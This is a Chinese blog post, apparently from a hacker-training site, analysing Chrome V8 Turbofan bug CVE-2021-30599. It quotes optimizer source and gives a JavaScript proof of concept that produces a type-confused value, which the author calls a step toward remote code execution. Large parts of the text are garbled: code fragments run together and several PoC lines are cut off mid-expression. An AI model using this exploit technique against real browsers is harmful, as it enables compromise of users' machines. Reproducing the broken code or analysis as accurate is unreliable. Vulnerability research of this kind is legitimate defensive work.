黑客培训基地,Chrome-V8-CVE-2021-30599

  • 作者:
  • 时间:2022-01-25 10:59:27
简介 黑客培训基地,Chrome-V8-CVE-2021-30599

早在chrome一次更新修复该漏洞后就关注到了这个漏洞,不过当时是一个研究者一次提交了两个漏洞,还都是21000美元的高悬赏,我当时只注意到了CVE-2021-30598的两次patch,看到其中一次将typeguard改为checkbound,猜测是可以达到rce的。

现在两个漏洞都已公开详情页,提交者给了很详细的描述

30599(https://bugs.chromium.org/p/chromium/issues/detail?id=1234770)

30598(https://bugs.chromium.org/p/chromium/issues/detail?id=1234764)

环境搭建

在v8环境搭完后

git reset --hard 27a517b8922915f53d479133205ee80b35ac2feb
gclient sync

漏洞分析

这是发生在machine-operator-reducer.cc(https://crrev.com/574ca6b71c6160d38b5fcf4b8e133bc7f6ba2387/src/compiler/machine-operator-reducer.cc)中的漏洞(Turbofan),具体来说是其中的BitfieldCheck的一些处理不正确。

static base::OptionalBitfieldCheck> Detect(Node* node) {
    // There are two patterns to check for here:
    // 1. Single-bit checks: `(val >> shift) 
      if (eq.left().IsWord32And()) {
        Uint32BinopMatcher mand(eq.left().node());
        if (mand.right().HasResolvedValue() 
          [ ... ]

可以看到对于(val BitfieldCheck> TryCombine(const BitfieldCheck uint32_t overlapping_bits = mask // It would be kind of strange to have any overlapping bits, but they can be // allowed as long as they don't require opposite values in the same // positions. if ((masked_value ---------[1] return {}; return BitfieldCheck{source, mask | other.mask, ------------[2] masked_value | other.masked_value, truncate_from_64_bit}; }

我们可以看到满足[1]处的检查之后就会由[2]完成合并BitfieldCheck的操作,但是这个检查靠谱吗?

对 (x DCHECK_EQ(1, node->op()->EffectInputCount()); DCHECK_EQ(1, node->op()->EffectOutputCount()); Node* const first = NodeProperties::GetValueInput(node, 0); Node* const effect = NodeProperties::GetEffectInput(node); EffectPathChecks const* checks = node_checks_.Get(effect); // If we do not know anything about the predecessor, do not propagate just yet // because we will have to recompute anyway once we compute the predecessor. if (checks == nullptr) return NoChange(); // Check if there's a CheckBounds operation on {first} // in the graph already, which we might be able to // reuse here to improve the representation selection // for the {node} later on. if (Node* check = checks->LookupBoundsCheckFor(first)) { // Only use the bounds {check} if its type is better ----------[1] // than the type of the {first} node, otherwise we // would end up replacing NumberConstant inputs with // CheckBounds operations, which is kind of pointless. if (!NodeProperties::GetType(first).Is(NodeProperties::GetType(check))) { NodeProperties::ReplaceValueInput(node, check, 0); } } return UpdateChecks(node, checks); }

为了触发ReduceSpeculativeNumberOperation函数,我们需要创造出那几个特定的节点,比如SpeculativeNumberAdd,通过x + (o.cf ? "" : 0)操作可以达到,cf是false。

但是这么做也有问题,那就是当CheckBounds被替换为新节点后需要再一次typer来给替换上的节点加上type,而以上做法并不会触发再一次typer,解决方法如下。

However, there is an additional problem: While the CheckBounds-node is inserted, the type of the addition itself actually never gets updated, as there is nothing to trigger a re-typing.

This can be fixed by adding a larger number like 2**30, which will result in a NumberOperationHint of kNumber instead of kSignedSmall, which will make typed-optimization.cc change the node into a regular NumberAdd during the LoadElimination-phase.

对应代码

Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node* node) {
  ... 

  NumberOperationHint hint = NumberOperationHintOf(node->op());
  if ((hint == NumberOperationHint::kNumber ||
       hint == NumberOperationHint::kNumberOrOddball) 
    Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs);
    Node* const value =
        graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs);
    ReplaceWithValue(node, value);
    return Replace(value);
  }
  return NoChange();
}

上面我们加上2**30后当然需要再减去,所以

We then subtract 2**30 again, resulting in a SpeculativeNumberSubtract-node that is again replaced by a regular NumberSubtract.Once everything has been lowered to 32-bit integer operations, the addition and subtraction will be combined to an addition of 0 and then eliminated, thus they aren't interfering with triggering the wrong optimization.

当然为了防止常量折叠使得我们一次加一次减直接被优化消失掉,我们还需要引入一个未知变量,所以我们可以把原本2**30的地方改为2**30 - (c0 // And-ing any two values results in a value no larger than their maximum. // Even no larger than their minimum if both values are non-negative. double max = lmin >= 0 // And-ing with a non-negative value x causes the result to be between // zero and x. if (lmin >= 0) { min = 0; max = std::min(max, lmax); } if (rmin >= 0) { min = 0; max = std::min(max, rmax); } return Type::Range(min, max, zone()); }

显然x the BitwiseAnd however is only given a type once during the initial Typer phase; we can't use the typed optimization again as there is no equivalent "SpeculativeNumberAnd".So we need to somehow take the bounds information from the later LoadElimination phase and make it available already during the earlier Typer phase.

我们可以使用Math.min(2**32-1, x+(2**32-1)) - (2**32-1),之后可以使得typer知道这里不会有正数结果,这是在最开始的typer阶段就可以确定的,在后面同样用其他手段使得在对应阶段也是这个Range。

之后为了得到Range(0, 0)实际值是-1的变量,我们先使用其和-1进行Max运算,然后再取反并右移31位。

完整Poc如下:

function bar(a, arg_true) {
    let o = {c0: 0, cf: false};
    let x = ((a
    let y = ((a

    "a"[x];"a"[y]; // generate CheckBounds()

    x = x + (o.cf ? "" : (2**30) - (o.c0 // type is Range(-1,0), but only after LoadElimination
    y = y + (o.cf ? "" : (2**30) - (o.c0

    x = Math.min(2**32-1, x + (2**32-1)) - (2**32-1); // type is Range(-1,0) already during Typer
    y = Math.min(2**32-1, y + (2**32-1)) - (2**32-1);
    let confused = Math.max(-1,x  // type is Range(..., 0), really is 1
    confused = Math.max(-1, confused); // type is Range(-1, 0), really is 1
    confused = ((0-confused)>>31); // type is Range(0, 0), really is -1
    return confused;
}

console.log(bar(3, true));
for (var i = 0; i  3*10**4; i+=1) bar(0,true);
console.log(bar(3,true));

以上并不是达到rce的完整exp,还需要iterator.next的配合。